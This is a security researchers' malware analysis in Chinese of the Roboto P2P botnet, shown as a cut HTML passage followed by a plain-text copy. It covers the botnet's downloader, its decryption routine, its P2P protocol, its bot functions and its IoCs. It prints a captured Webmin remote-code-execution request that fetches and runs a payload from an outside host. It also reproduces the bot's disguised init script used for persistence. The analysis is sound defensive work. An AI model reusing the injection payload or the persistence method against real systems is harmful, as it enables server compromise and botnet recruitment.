reverse(skey.begin(), skey.end());
uint64_t *sskey = (uint64_t*)&skey[0];
cout << hex << "sskey= " << *sskey << endl;
fstr[0] = '\x7F';
fstr[1] = 'E';
fstr[2] = 'L';
fstr[3] = 'F';
fstr[6] = '\x01';
fstr[7] = '\x00';
fsize -= 8;
uint64_t cnt = fsize / 8;
uint8_t rmd = fsize % 8;
for (uint64_t i = 0; i < cnt; i++) {
for (int j = 0; j < 8; j++)
{
fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
}
uint64_t rnda = *sskey << 13 ^ *sskey;
uint64_t rndb = rnda >> 7 ^ rnda;
uint64_t rndc = rndb << 17 ^ rndb;
*sskey = rndc;
}
for (uint8_t i = 0; i < rmd; i++)
{
fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
}
if (fstr[42] == '\x20' && fstr[46] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x01';
}
if (fstr[43] == '\x20' && fstr[47] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x02';
}
if (fstr[54] == '\x38' && fstr[58] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x01';
}
if (fstr[55] == '\x38' && fstr[59] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x02';
}
</code></pre>
<h3 id="robotobot">Roboto Bot 样本分析</h3>
<ul>
<li>MD5: d88c737b46f1dcb981b4bb06a3caf4d7</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Library: musl-libc</p>
</blockquote>
<p>Roboto Bot是通过P2P协议加密通信，主要支持7种功能：反弹Shell，自卸载，获取进程网络信息，获取Bot信息，执行系统命令，运行指定URL中的加密文件，DDoS攻击等。另外它为了实现长期驻留目标系统，它会在系统上增加自启动脚本并伪装了自身的文件和进程名。</p>
<h4 id="">持久化</h4>
<ul>
<li>
<p>根据不同Linux系统发行版本，创建相应的自启动脚本<code>/etc/init.d/dns-clear</code>或者<code>systemd-hwdb-upgrade.service</code></p>
<pre><code>#! /bin/sh
### BEGIN INIT INFO
# Provides: dns-clear
# Required-Start: $local_fs $remote_fs $network
# Required-Stop: $local_fs
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: Cleans up any mess left by 0dns-up
### END INIT INFO
PATH=/sbin:/bin:/usr/sbin:/usr/bin
case "$1" in
start)
/usr/lib/libXxf86dag.so.1.0.0 &
;;
*)
;;
esac
exit 0
</code></pre>
</li>
<li>
<p>用于伪装的进程名</p>
<pre><code>(sd-pam)
/sbin/rpcbind
/usr/bin/python
upstart-socket-bridge
/usr/sbin/irqbalance
/lib/systemd/systemd-udevd
/usr/libexec/postfix/master
</code></pre>
</li>
<li>
<p>用于伪装的文件名</p>
<pre><code>libXxf86dag.so
.node_repl_history.gz
</code></pre>
</li>
</ul>
<h4 id="peer">硬编码Peer信息</h4>
<p>Roboto Bot硬编码了4组Peer信息，其结构为<strong>IP: PORT: Curve25519_Pub Key</strong><br>
<a href="__GHOST_URL__/content/images/2019/11/rob_c2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_c2.png" class="kg-image"/></a></p>
<pre><code>Peer 1:
213.159.27.5:57491
Pubkey:
8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4
7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79
Peer 2:
186.46.45.252:52085
Pubkey:
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
Peer 3:
95.216.17.209:57935
Pubkey:
E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05
F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E
Peer 4:
120.150.43.45:49252
Pubkey:
E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7
F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
</code></pre>
<p>在样本<code>4cd7bcd0960a69500aa80f32762d72bc</code>中的第3个Peer做了以下修改。</p>
<pre><code>Peer 3:
66.113.179.13:33543
Pubkey:
B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B
2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E
</code></pre>
<h4 id="">加密校验</h4>
<p>Roboto Bot使用了Curve25519，TEA，HMAC-SHA256等算法来实现数据的加密及有效性验证，这一手段在cfg文件及数据报文的生成中大量使用。</p>
<p>大致流程如图所示<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_flow.png"><img src="__GHOST_URL__/content/images/2019/11/rob_flow.png" class="kg-image"/></a></p>
<p><strong>Curve25519_PrivateKey</strong>通过/dev/urandom生成。<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_priv.png"><img src="__GHOST_URL__/content/images/2019/11/rob_priv.png" class="kg-image"/></a></p>
<h4 id="cfg">cfg文件</h4>
<p>Roboto Bot会根据运行权限的不同，将生成的cfg文件存储在不同的文件位置。</p>
<pre><code>$home/.config/trolltech.conf //以普通用户权限运行
/etc/iproute2/rt_ksfield //以root用户权限运行
</code></pre>
<p>cfg文件中存有私钥，加密数据，以及加密数据的HMAC-SHA256值，每小时更新一次，加密数据由Peer和Port信息组成，其结构为<em>peer:length:data,pcfg:length:data</em>。<a href="__GHOST_URL__/content/images/2019/11/rob_cfg.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cfg.png" class="kg-image"/></a>cfg文件解密示例</p>
<pre><code>前0x20字节，Curve25519私钥
68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8
E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
最后0x20字节,加密数据（0x20-0x165）的hmac-sha256值
1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A
01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6
参照前文加密校验流程，
1. 生成PublicKey:
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
2. 使用后16字节，每个DWORD逆序，做为TEA的加密Key:
58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62
3. 使用上一步Key加密常量明文,得到XOR Key:
第一轮: ED 16 FB 00 46 4F 94 99
4. XOR解密，每8字节，重复步骤4，更新XOR Key:
密文: 9D 73 9E 72 76 4E DE 99
明文: peer\x30\x01\x4a\x00\x00
</code></pre>
<p>因此，我们知道Peer共有0x130字节信息，依此类推可解出密文(8E 3C 1F 93 B1 C9)的明文为(pcfg\x04\x00)。</p>
<h4 id="p2p">P2P 控制模块</h4>
<p>Roboto Bot可以通过Unix域套接字进行控制，绑定的路径为<code>/tmp/.cs</code><br>
<a href="__GHOST_URL__/content/images/2019/11/rob_unixpro.png"><img src="__GHOST_URL__/content/images/2019/11/rob_unixpro.png" class="kg-image"/></a></p>
<p>通过以下代码开启受控线程<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_csm.png"><img src="__GHOST_URL__/content/images/2019/11/rob_csm.png" class="kg-image"/></a></p>
<p>我们在Roboto Bot样本中没有发现设置环境变量“CS”的相关代码，因此我们推测它存在Roboto P2P控制模块。它会启动一个进程，同时设置环境变了“CS”，并通过Unix域套接字控制Roboto Bot模块，此时，这个P2P节点就是Roboto Botnet的P2P网络中的控制节点。<br>
我们通过Roboto Bot模块可以反推P2P控制模块的相关功能，当然这些函数名字就很直观。<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_domsock.png"><img src="__GHOST_URL__/content/images/2019/11/rob_domsock.png" class="kg-image"/></a></p>
<p>我们通过劫持Roboto Bot程序，测试了部分控制指令，以下是一些测试效果。<br>
<code>info</code>指令，会显示硬编码的信息和公钥信息，其中<code>v17</code>疑似程序版本号。<a href="__GHOST_URL__/content/images/2019/11/rob_info.png"><img src="__GHOST_URL__/content/images/2019/11/rob_info.png" class="kg-image"/></a><code>peers</code>指令，会显示Roboto Bot当前连接的P2P节点信息<a href="__GHOST_URL__/content/images/2019/11/rob_peerinfo.png"><img src="__GHOST_URL__/content/images/2019/11/rob_peerinfo.png" class="kg-image"/></a></p>
<h4 id="bot">Bot 功能</h4>
<ul>
<li>
<p>反弹Shell<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_shell.png"><img src="__GHOST_URL__/content/images/2019/11/rob_shell.png" class="kg-image"/></a></p>
</li>
<li>
<p>自卸载<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_clear-2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_clear-2.png" class="kg-image"/></a></p>
</li>
<li>
<p>执行系统命令<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_system.png"><img src="__GHOST_URL__/content/images/2019/11/rob_system.png" class="kg-image"/></a></p>
</li>
<li>
<p>获取进程网络信息（遍历进程列表，获取进程，网络和crontab文件信息），并上传给指定HTTP接口</p>
</li>
</ul>
<pre><code>/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab
</code></pre>
<p><a href="__GHOST_URL__/content/images/2019/11/rob_cinfo1.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cinfo1.png" class="kg-image"/></a></p>
<ul>
<li>
<p>获取Bot信息，并上传给指定HTTP接口<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_cinfo3.png"><img src="__GHOST_URL__/content/images/2019/11/rob_cinfo3.png" class="kg-image"/></a></p>
</li>
<li>
<p>运行指定URL中的加密文件（跟Roboto Downloader功能类似）<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_http.png"><img src="__GHOST_URL__/content/images/2019/11/rob_http.png" class="kg-image"/></a></p>
</li>
<li>
<p>DDoS攻击<br>
Bot会根据运行权限的不同提供了4个DDoS攻击向量，包括：ICMP Flood，HTTP Flood，TCP Flood，UDP Flood。<a href="__GHOST_URL__/content/images/2019/11/rob_atk.png"><img src="__GHOST_URL__/content/images/2019/11/rob_atk.png" class="kg-image"/></a></p>
</li>
</ul>
<h4 id="p2p">P2P 通信协议</h4>
<p>Roboto Bot在P2P通信协议的基础上，使用了Curve25519，TEA，HMAC-SHA256等算法，保障数据的完整性和安全性，其加密的Key来源于Bot和C2信息中的公钥所产生的Curve25519_SharedKey。数据包的格式为index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf]，所以大于21字节的数据包是包含有效信息的。</p>
<h6 id="p2p">P2P 节点发现数据校验</h6>
<p>请求包的长度为固定的69字节,数据并未被加密，内容为目标Peer的公钥和Bot的公钥。Peer在收到Bot的请求包后，若与自身的公钥一致就会与Bot建立连接，然后通过公钥计算出SharedKey，在随后通信的过程中，带有效信息的报文（长度大于21字节）都会被加密。<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_hello.png"><img src="__GHOST_URL__/content/images/2019/11/rob_hello.png" class="kg-image"/></a></p>
<h6 id="p2p">P2P 节点发现数据解密</h6>
<p>以本地运行的Roboto Bot样本和硬编码的Peer（186.46.45.252）的通信，并获得新的Peer节点87.249.15.18:63104为例。<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_hellosrv.png"><img src="__GHOST_URL__/content/images/2019/11/rob_hellosrv.png" class="kg-image"/></a><br>
Bot发包，69个字节</p>
<pre><code>index: 00 00 00 00
type: 2
data:
0-31: C2 Curve25519_PublicKey
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
32-63: Bot Curve25519_PublicKey
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
</code></pre>
<p>Peer回包，60个字节，</p>
<pre><code>index: 00 00 00 00
type: 00
data:
cmdtype:
4f
ip:port
44 be 1c 18 da 42
PublibcKey:
7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25
3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
Hmac-sha256[0:0xf]
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
</code></pre>
<p>模拟解密校验流程</p>
<pre><code>1. Bot的私钥和Peer的公钥生成共享密钥
SharedKey:
28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8
B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. 使用数据HMAC-SHA256值的前16字节校验数据
HMAC-SHA256[0:0XF]=
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
3. 使用共享密钥前16字节，每个DWORD逆序，做为TEA的加密key:
A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. 使用上一步key加密常量明文,得到xor key:
第１轮: 4E 13 47 13 0A 2C C2 6A
第２轮: B0 68 BD EB 9B 29 10 23
第３轮: AD B4 3D 34 40 C0 3D FC
第４轮: 31 1E 6B F0 EA D5 8E 65
第５轮: D1 1C 42 58 2A 0C 7D A4
5. XOR解密，每8字节，重复步骤4，更新xor key,最终得到明文
cmdtype:
01
ip:port:
57 F9 0F 12 :F6 80 (87.249.15.18:63104)
PublicKey:
14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18
C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
</code></pre>
<p>从以下网络数据包中，我们可以看到<code>87.249.15.18:63104</code>正是我们计算出的新节点。<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_secpeer.png"><img src="__GHOST_URL__/content/images/2019/11/rob_secpeer.png" class="kg-image"/></a></p>
<h6 id="">攻击指令验签</h6>
<p>在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Roboto节点。为保证Roboto网络的完全可控，不被他人窃取，Roboto需要对每一个攻击指令做签名验签，只有能够通过签名验签的攻击消息才能被Roboto节点接受，并执行。<br>
Roboto采用的验签方法为ED25519，这是一个公开的数字签名算法。与此同时，验签公钥为：<code>60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C</code>，该公钥被集成到了每一个Roboto Bot样本中。</p>
<h3 id="">处置建议</h3>
<p>我们建议Webmin用户根据Roboto Botnet创建的进程，文件名以及UDP网络连接特征，判断是否被感染，然后清理Roboto Botnet的进程和文件。</p>
<p>我们建议读者对Roboto Botnet相关IP，URL和域名进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h4 id="ioclist">IoC list</h4>
<p>样本MD5</p>
<pre><code>4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7
</code></pre>
<p>加密后的Roboto Bot程序MD5</p>
<pre><code>image.jpg de14c4345354720effd0710c099068e7
image2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc f47593cceec08751edbc0e9c56cad6ee
roboto.ttf 3020c2a8351c35530ab698e298a5735c
</code></pre>
<p>URL</p>
<pre><code>http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg
</code></pre>
<p>硬编码Peer IP</p>
<pre><code>95.216.17.209 Finland ASN 24940 Hetzner Online GmbH
213.159.27.5 Italy ASN 201474 Aircom Service srl
186.46.45.252 Ecuador ASN 28006 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45 Australia ASN 1221 Telstra Corporation Ltd
66.113.179.13 United States ASN 14280 NetNation Communications Inc
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年8月26号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(4cd7bcd0960a69500aa80f32762d72bc)，目前在VirusTotal上显示仅有2款杀毒引擎检测识别。通过详细分析，我们确定这是一款基于P2P通信的Bot程序，并对它保持关注。
2019年10月11号，我们通过Anglerfish蜜罐捕获到另一个可疑的ELF样本(4b98096736e94693e2dc5a1361e1a720)，并且正是那个可疑的ELF样本的Downloader。这个Downloader样本会从2个硬编码的HTTP链接中下载Bot程序，其中一个下载地址把这个Bot样本伪装成Google的一个字体库“roboto.ttc”，所以我们将这个Botnet命名为Roboto。
我们已经持续关注了Roboto Botnet近3个月的时间，并在本文披露它的一些技术特征。
Roboto Botnet概览
目前，我们捕获到了Roboto Botnet的Downloader和Bot模块。根据它的传播方式和Bot样本特征，我们推测它还存在漏洞扫描模块和P2P控制模块。
Roboto Botnet主要支持7种功能：反弹Shell，自卸载，获取进程网络信息，获取Bot信息，执行系统命令，运行指定URL中的加密文件，DDoS攻击等。同时，它还使用Curve25519，Ed25519，TEA，SHA256，HMAC-SHA256等算法来保证自身组件和P2P网络的完整性和安全性，根据目标系统创建相应的Linux自启动脚本，并伪装自身的文件和进程名来实现持久化控制。
我们认为Roboto Botnet虽然具备DDoS功能，但是它并不是以DDoS为主要目的。我们也还没有捕捉到它的DDoS攻击指令，虽然从逆向样本分析的角度上看到Bot支持7种功能，但是我们也还不清楚它的真实目的。
传播方式
2019年10月11号，我们通过Anglerfish蜜罐观察到51.38.200.230通过Webmin RCE漏洞(CVE-2019-15107)传播Roboto Downloader样本4b98096736e94693e2dc5a1361e1a720，其下载URL为http://190.114.240.194/boot，以下为漏洞利用Payload。
POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%
我们可以看到，51.38.200.230开放了Webmin服务（TCP/10000），这跟它的扫描目标是一样的，所以我们猜测它是被Roboto Botnet感染后用来做网络扫描的。
逆向分析
Roboto Downloader 样本分析
* MD5: 4b98096736e94693e2dc5a1361e1a720
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Library: musl-libc
Roboto Downloader的主要功能是根据受害者机器的CPU架构，从指定的URL下载相应加密的Roboto Bot程序，然后解密并执行。
目前，Roboto Downloader支持i386和x86_64俩种架构
Roboto Downloader样本硬编码URL里存储着加密后的Roboto Bot程序，如图所示每组URL都有对应的解密Key和SHA256校验值
以image2.jpg为例，它的SHA256哈希值是和Roboto Downloader样本中硬编码的SHA256哈希值是一致的
解密算法如下，Key长度为８字节，每一轮会计算新的XOR Key
解密后，就得到了Roboto Bot样本。
当不知道初始XOR Key时，利用XOR加密算法的特性，根据elf_header[0x8:0xf]值常为0的特点，可以使用如下方法解密Bot文件。
fstream file(filename, ios::binary | ios::in);
file.read((char*)fstr.data(), fsize);
file.close();
string skey(fstr, 8, 8);
reverse(skey.begin(), skey.end());
uint64_t *sskey = (uint64_t*)&skey[0];
cout << hex << "sskey= " << *sskey << endl;
fstr[0] = '\x7F';
fstr[1] = 'E';
fstr[2] = 'L';
fstr[3] = 'F';
fstr[6] = '\x01';
fstr[7] = '\x00';
fsize -= 8;
uint64_t cnt = fsize / 8;
uint8_t rmd = fsize % 8;
for (uint64_t i = 0; i < cnt; i++) {
for (int j = 0; j < 8; j++)
{
fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
}
uint64_t rnda = *sskey << 13 ^ *sskey;
uint64_t rndb = rnda >> 7 ^ rnda;
uint64_t rndc = rndb << 17 ^ rndb;
*sskey = rndc;
}
for (uint8_t i = 0; i < rmd; i++)
{
fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
}
if (fstr[42] == '\x20' && fstr[46] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x01';
}
if (fstr[43] == '\x20' && fstr[47] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x02';
}
if (fstr[54] == '\x38' && fstr[58] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x01';
}
if (fstr[55] == '\x38' && fstr[59] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x02';
}
Roboto Bot 样本分析
* MD5: d88c737b46f1dcb981b4bb06a3caf4d7
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Library: musl-libc
Roboto Bot是通过P2P协议加密通信，主要支持7种功能：反弹Shell，自卸载，获取进程网络信息，获取Bot信息，执行系统命令，运行指定URL中的加密文件，DDoS攻击等。另外它为了实现长期驻留目标系统，它会在系统上增加自启动脚本并伪装了自身的文件和进程名。
持久化
*
根据不同Linux系统发行版本，创建相应的自启动脚本/etc/init.d/dns-clear或者systemd-hwdb-upgrade.service
#! /bin/sh
### BEGIN INIT INFO
# Provides: dns-clear
# Required-Start: $local_fs $remote_fs $network
# Required-Stop: $local_fs
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: Cleans up any mess left by 0dns-up
### END INIT INFO
PATH=/sbin:/bin:/usr/sbin:/usr/bin
case "$1" in
start)
/usr/lib/libXxf86dag.so.1.0.0 &
;;
*)
;;
esac
exit 0
*
用于伪装的进程名
(sd-pam)
/sbin/rpcbind
/usr/bin/python
upstart-socket-bridge
/usr/sbin/irqbalance
/lib/systemd/systemd-udevd
/usr/libexec/postfix/master
*
用于伪装的文件名
libXxf86dag.so
.node_repl_history.gz
硬编码Peer信息
Roboto Bot硬编码了4组Peer信息，其结构为IP: PORT: Curve25519_Pub Key
Peer 1:
213.159.27.5:57491
Pubkey:
8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4
7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79
Peer 2:
186.46.45.252:52085
Pubkey:
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
Peer 3:
95.216.17.209:57935
Pubkey:
E8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05
F2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E
Peer 4:
120.150.43.45:49252
Pubkey:
E7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7
F3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20
在样本4cd7bcd0960a69500aa80f32762d72bc中的第3个Peer做了以下修改。
Peer 3:
66.113.179.13:33543
Pubkey:
B3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B
2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E
加密校验
Roboto Bot使用了Curve25519，TEA，HMAC-SHA256等算法来实现数据的加密及有效性验证，这一手段在cfg文件及数据报文的生成中大量使用。
大致流程如图所示
Curve25519_PrivateKey通过/dev/urandom生成。
cfg文件
Roboto Bot会根据运行权限的不同，将生成的cfg文件存储在不同的文件位置。
$home/.config/trolltech.conf //以普通用户权限运行
/etc/iproute2/rt_ksfield //以root用户权限运行
cfg文件中存有私钥，加密数据，以及加密数据的HMAC-SHA256值，每小时更新一次，加密数据由Peer和Port信息组成，其结构为peer:length:data,pcfg:length:data。cfg文件解密示例
前0x20字节，Curve25519私钥
68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8
E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63
最后0x20字节,加密数据（0x20-0x165）的hmac-sha256值
1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A
01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6
参照前文加密校验流程，
1. 生成PublicKey:
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
2. 使用后16字节，每个DWORD逆序，做为TEA的加密Key:
58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62
3. 使用上一步Key加密常量明文,得到XOR Key:
第一轮: ED 16 FB 00 46 4F 94 99
4. XOR解密，每8字节，重复步骤4，更新XOR Key:
密文: 9D 73 9E 72 76 4E DE 99
明文: peer\x30\x01\x4a\x00\x00
因此，我们知道Peer共有0x130字节信息，依此类推可解出密文(8E 3C 1F 93 B1 C9)的明文为(pcfg\x04\x00)。
P2P 控制模块
Roboto Bot可以通过Unix域套接字进行控制，绑定的路径为/tmp/.cs
通过以下代码开启受控线程
我们在Roboto Bot样本中没有发现设置环境变量“CS”的相关代码，因此我们推测它存在Roboto P2P控制模块。它会启动一个进程，同时设置环境变了“CS”，并通过Unix域套接字控制Roboto Bot模块，此时，这个P2P节点就是Roboto Botnet的P2P网络中的控制节点。
我们通过Roboto Bot模块可以反推P2P控制模块的相关功能，当然这些函数名字就很直观。
我们通过劫持Roboto Bot程序，测试了部分控制指令，以下是一些测试效果。
info指令，会显示硬编码的信息和公钥信息，其中v17疑似程序版本号。peers指令，会显示Roboto Bot当前连接的P2P节点信息
Bot 功能
*
反弹Shell
*
自卸载
*
执行系统命令
*
获取进程网络信息（遍历进程列表，获取进程，网络和crontab文件信息），并上传给指定HTTP接口
/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab
*
获取Bot信息，并上传给指定HTTP接口
*
运行指定URL中的加密文件（跟Roboto Downloader功能类似）
*
DDoS攻击
Bot会根据运行权限的不同提供了4个DDoS攻击向量，包括：ICMP Flood，HTTP Flood，TCP Flood，UDP Flood。
P2P 通信协议
Roboto Bot在P2P通信协议的基础上，使用了Curve25519，TEA，HMAC-SHA256等算法，保障数据的完整性和安全性，其加密的Key来源于Bot和C2信息中的公钥所产生的Curve25519_SharedKey。数据包的格式为index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf]，所以大于21字节的数据包是包含有效信息的。
P2P 节点发现数据校验
请求包的长度为固定的69字节,数据并未被加密，内容为目标Peer的公钥和Bot的公钥。Peer在收到Bot的请求包后，若与自身的公钥一致就会与Bot建立连接，然后通过公钥计算出SharedKey，在随后通信的过程中，带有效信息的报文（长度大于21字节）都会被加密。
P2P 节点发现数据解密
以本地运行的Roboto Bot样本和硬编码的Peer（186.46.45.252）的通信，并获得新的Peer节点87.249.15.18:63104为例。
Bot发包，69个字节
index: 00 00 00 00
type: 2
data:
0-31: C2 Curve25519_PublicKey
93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D
41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
32-63: Bot Curve25519_PublicKey
52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8
3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24
Peer回包，60个字节，
index: 00 00 00 00
type: 00
data:
cmdtype:
4f
ip:port
44 be 1c 18 da 42
PublibcKey:
7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25
3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
Hmac-sha256[0:0xf]
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
模拟解密校验流程
1. Bot的私钥和Peer的公钥生成共享密钥
SharedKey:
28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8
B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. 使用数据HMAC-SHA256值的前16字节校验数据
HMAC-SHA256[0:0XF]=
b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e
3. 使用共享密钥前16字节，每个DWORD逆序，做为TEA的加密key:
A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. 使用上一步key加密常量明文,得到xor key:
第１轮: 4E 13 47 13 0A 2C C2 6A
第２轮: B0 68 BD EB 9B 29 10 23
第３轮: AD B4 3D 34 40 C0 3D FC
第４轮: 31 1E 6B F0 EA D5 8E 65
第５轮: D1 1C 42 58 2A 0C 7D A4
5. XOR解密，每8字节，重复步骤4，更新xor key,最终得到明文
cmdtype:
01
ip:port:
57 F9 0F 12 :F6 80 (87.249.15.18:63104)
PublicKey:
14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18
C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
从以下网络数据包中，我们可以看到87.249.15.18:63104正是我们计算出的新节点。
攻击指令验签
在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Roboto节点。为保证Roboto网络的完全可控，不被他人窃取，Roboto需要对每一个攻击指令做签名验签，只有能够通过签名验签的攻击消息才能被Roboto节点接受，并执行。
Roboto采用的验签方法为ED25519，这是一个公开的数字签名算法。与此同时，验签公钥为：60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C，该公钥被集成到了每一个Roboto Bot样本中。
处置建议
我们建议Webmin用户根据Roboto Botnet创建的进程，文件名以及UDP网络连接特征，判断是否被感染，然后清理Roboto Botnet的进程和文件。
我们建议读者对Roboto Botnet相关IP，URL和域名进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
